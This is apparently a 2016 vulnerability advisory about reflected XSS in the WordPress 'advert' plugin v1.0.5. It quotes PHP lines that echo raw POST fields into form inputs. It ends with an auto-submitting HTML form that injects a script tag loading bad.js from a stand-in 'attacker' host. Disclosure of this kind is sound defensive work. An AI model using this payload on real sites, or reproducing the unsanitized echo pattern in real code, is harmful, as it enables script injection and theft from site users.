Advisory #: 1353
Title: Reflected XSS in wordpress plugin advert v1.0.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/advert
Downloads: 670
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: advert
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./advert/includes/advert-dashboard-user.php: 118: <input type="text" name="advertiser_name" id="user-company" value="<?php if(!empty($post_id)){echo get_post_meta($post_id, 'advertiser_company', true);}elseif(!empty($_POST['advertiser_name'])){echo $_POST['advertiser_name'];} ?>" required> 127: <input type="email" name="advertiser_email" id="user-email" value="<?php if(!empty($post_id)){echo get_post_meta($post_id, 'advertiser_email', true);}elseif(!empty($_POST['advertiser_email'])){echo $_POST['advertiser_email'];} ?>" required> 136: <input type="tel" name="advertiser_phone" id="user-phone" value="<?php if(!empty($post_id)){echo get_post_meta($post_id, 'advertiser_telephone', true);}elseif(!empty($_POST['advertiser_phone'])){echo $_POST['advertiser_phone'];} ?>" required> The variable advertiser_name appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./advert/includes/advert-dashboard-user.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/advert/includes/advert-dashboard-user.php method=post> <input type=hidden name=advertiser_name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>